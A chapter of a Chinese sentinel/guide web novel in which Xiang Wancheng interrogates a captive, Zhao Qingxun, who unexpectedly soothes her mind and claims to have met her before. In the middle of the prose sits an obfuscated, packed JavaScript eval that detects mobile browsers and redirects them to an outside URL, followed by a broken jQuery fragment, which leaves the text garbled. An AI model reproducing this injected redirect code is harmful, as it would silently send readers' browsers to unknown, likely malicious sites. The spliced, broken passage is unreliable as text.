“我知道……江稚鱼为什么会失控……”


    一句话,让向晚澄暴起的杀意又收回。


    “救我……向晚澄……”


    救?


    这人说完就晕过去了,看到她像是看到了什么救星一样。


    疯子。


    向晚澄情绪一般很稳定,偏偏这人从刚见面就在影响她的情绪。


    实在少见。


    橙黄色的壁灯嵌在深灰色石材墙面,整个地下室是一片温润的朦胧,本就不是为了囚禁人而建造的。


    赵清浔被粗麻绳反剪着手腕捆在椅子上,绳结陷进小臂肌肉时,带动着微微颤动,左边肩胛骨的位置明显塌陷下去,他的一只胳膊被向晚澄卸掉了,也是他抓向晚澄的那只手。


    带他回来的时候,向晚澄考虑过要不要把他的一条腿打断。


    但这个怪人,即使卸掉他一条胳膊也毫无抵抗之意。


    黑色高领衫诡异地贴服着,勾勒出骨骼错位的弧度,每一次呼吸,带着种破碎的韵律。


    睫毛垂落的阴影让他看上去很无辜,手腕处的绳结松了半寸,应该是很容易挣脱了,但他没有动。


    向晚澄手上拿着一杯水。


    怎么可能是给他喝的。


    冷水顺着赵清浔的额角淌下来。


    水珠钻进高领衫的缝隙,赵清浔猛地绷紧了脊背,左边塌陷的肩膀抽痛了一下,让他喉间溢出半截压抑的喘息。


    他抬眼,那双总是空茫的、像是覆了层薄雾的眸子突然亮起来,像是浸了酒的黑曜石,映着向晚澄攥着水杯的身影。


    湿透的高领衫紧紧粘在胸口,勾勒出身体的弧度,胸膛延至肋骨起伏着。


    赵清浔忽然低低地笑了一声。


    向晚澄略显警惕地看着他。


    怪人。


    她在想自己会不会判断失误,还是就应该在小巷子里解决掉这个家伙是最好的。


    “名字。”


    “赵清浔。”


    向晚澄确定自己以前没有听过这个名字。


    可面前这个被绑住的家伙只是看着她,连眼睛都不愿意眨。


    他的眼神让向晚澄不适,太直白、太露骨……太浓烈了,可对向晚澄来说,他只是个初次见面的陌生人而已,这情感从何而来?


    他怎么认识自己的?


    未知的失控感让向晚澄毛骨悚然,这完全是计划之外,凭空出现的。


    有意外也没关系,但这情况太……


    向晚澄感到一阵烦躁。


    “你状态不好,晚澄。”他自来熟地只称呼向晚澄的名字。


    向晚澄伸手,掐住他的脸,掌心堵住他的嘴。


    手上的劲儿不小,赵清浔的脸颊肉被她掐住。


    “闭嘴,我问,你答。”向晚澄突然觉得自己审讯这一科目确实不太合格,只因为当时她认为自己用不上,也根本不会从事这个,所以不怎么上心。


    赵清浔看向她的眼里毫无惧意。


    这个人太奇怪了,他在开心什么?


    “……你从哪里过来的?”


    向晚澄刚准备松开手,松了些力气,动作一顿,瞳孔微缩。


    这家伙亲了一下她的手心!


    想也没想,向晚澄一拳朝他脸上打过去。


    赵清浔头偏了偏,嘴角溢出一点血,脸颊开始肿起来。


    被打的人不恼反笑,很痛,但那触感切实存在,是真实的向晚澄。


    打人的却微妙地捕捉到一些异常。


    就算是知道她的各方面身体素质都远超一般人,甚至强过很多哨兵,但向晚澄自从分化为向导,便清楚地感知到自己的身体更想让自己的精神变得强大。


    而随着她向导能力的增强,为达到一定平衡,她的身体机能是在下降的,但还是超出普通人甚至大部分向导一大截,向晚澄很强。


    可她很疲惫,向晚澄自己也知道,她只是人,就算工作的时候向晚澄把自己当作一台机器,她也并不就是真的机器。


    高强度高集中力让她的精神状态长期处于紧绷状态,同时她又需要安抚江稚鱼。


    而安抚江稚鱼也并不是一件容易的事情,江稚鱼生病了,严重的后遗症,并且思维有时候会很混乱,情绪会不稳定,只有向晚澄可以安抚住他。


    可是刚刚,向晚澄感受到了。


    如同被安抚了一般。


    向晚澄有些不可思议地望向椅子上的人。


    赵清浔手腕上的绳子已经彻底松了,就算挣脱了束缚他也还是坐在椅子上,没有轻举妄动。


    “晚澄,你好些了吗?”他问向晚澄,随即眼神里带了些歉意“抱歉,我的肩膀有些难受,我需要处理一下,晚澄。”赵清浔微微侧头,面无表情地把自己的手接好了。


    向晚澄看着他,没有说话。


    如果这个人现在朝她发动攻击,在不惊动小鱼的状况下……她还是能赢,没有带枪,安静地杀掉他的方法……


    赵清浔接完手臂也没有乱动,他将掌心摊开,放在自己膝盖之上,一个表示无威胁的忠诚动作。


    “抱歉,晚澄,我没有恶意,我只是……很想再见你,我来自14区。”他回答了向晚澄的问题,态度相当诚恳。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16067881|169533||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    再?


    他们以前见过吗?


    向晚澄没有问,有点好奇但并不在意。


    赵清浔将自己的大部分事情和盘托出,有没有撒谎就让人不得而知了。


    但涉及到江稚鱼的事情他用了“可能”“大概”之类的字眼。


    “你耍我?”向晚澄语气有些冷,她对赵清浔这个人不感兴趣,想知道的也就只有从他口中说的关于小鱼的事情,如果只是这个样子,在小巷子里她就该把这个人解决掉。


    “没有。”赵清浔神色柔和,语气更是乖巧无比,让一般人都对他生不出脾气“我没有耍你,晚澄。”他还又特意重复一句,怕向晚澄误会自己。


    向晚澄:“……”她有些受不了这家伙这么亲昵还差不多每句话都要叫她的名字。


    要说向晚澄有多擅长和人相处,倒还真没有,在学校的时候,她不用做什么,就一大堆人围上来了,向晚澄总是随心所欲的。


    唯一能让向晚澄并且让她也愿意花心思的就江稚鱼一个。


    示好的人不是没遇到过,但是这家伙太诡异了。


    哪有人挨了揍还笑,也不生气的。


    怪人。


    “晚澄,我想喝水,我两天没有吃过东西了。”赵清浔慢吞吞地开口,好像他们现在的状况只是他来朋友家做客一样。


    这人搞得清楚状况吗?


    向晚澄长这么大,头回遇到这种人。


    很……奇特的一个人。


    是怪人,但貌似对她没有威胁,也并不危险。


    “晚澄,我的手没力,可以喂我吗?”赵清浔一副低眉顺眼的样儿。


    向晚澄额角青筋暴起。


    “张嘴。”


    赵清浔听话乖乖张着唇接水。


    向晚澄动作有些粗鲁地把杯子里的水往他嘴里灌。


    太急,水溢满,没等吞咽,透明的水线漫过赵清浔唇角,顺着他绷紧的脖子往下淌。


    “唔……”赵清浔闷哼一声,不出意外地呛到了。


    “咳咳──”他被呛得偏过头,睫毛上好像也沾了点水汽,湿漉漉地颤。


    呛死算命。


    “谢谢晚澄。”赵清浔缓过来向她道谢。


    命真大。


    赵清浔是真心在道谢,因为他发现,向晚澄还是那个向晚澄。


    虽然不记得他了。


    或者根本对他没什么印象。


    但是被向晚澄喂着喝了水,赵清浔心情很微妙,是从来没有真正体会到过的,一种满足感。


    但是赵清浔发现,他似乎比自己想的还要贪心。